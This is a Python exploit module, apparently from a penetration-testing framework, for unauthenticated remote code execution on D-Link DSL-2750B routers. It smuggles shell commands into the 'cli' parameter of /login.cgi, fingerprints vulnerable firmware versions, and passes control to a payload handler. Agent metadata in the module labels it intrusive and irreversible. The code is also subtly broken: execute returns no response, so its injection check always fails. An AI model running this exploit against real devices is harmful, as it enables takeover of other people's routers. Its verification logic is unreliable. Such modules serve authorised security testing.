D-Link DSL-2750B RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DSL-2750B RCE"""


import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DSL-2750B RCE',
        'description': 'Module exploits remote code execution vulnerability in D-Link DSL-2750B devices.',
        'author': ['p@ql', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://seclists.org/fulldisclosure/2016/Feb/53', 'https://packetstormsecurity.com/files/135706/dlinkdsl2750b-exec.txt'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        path = "/login.cgi?cli=multilingual show';{}'$".format(cmd)
        self.http_request(
            method="GET",
            path=path
        )
    def check(self):
        response = self.http_request(
            method="GET",
            path="/ayefeaturesconvert.js"
        )

        if response and "DSL-2750B" in response.text:
            version = re.findall(r"AYECOM_FWVER=\"(.*?)\";", response.text)
            if version:
                if utils.Version("1.01") <= utils.Version(version[0]) <= utils.Version("1.03"):
                    return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()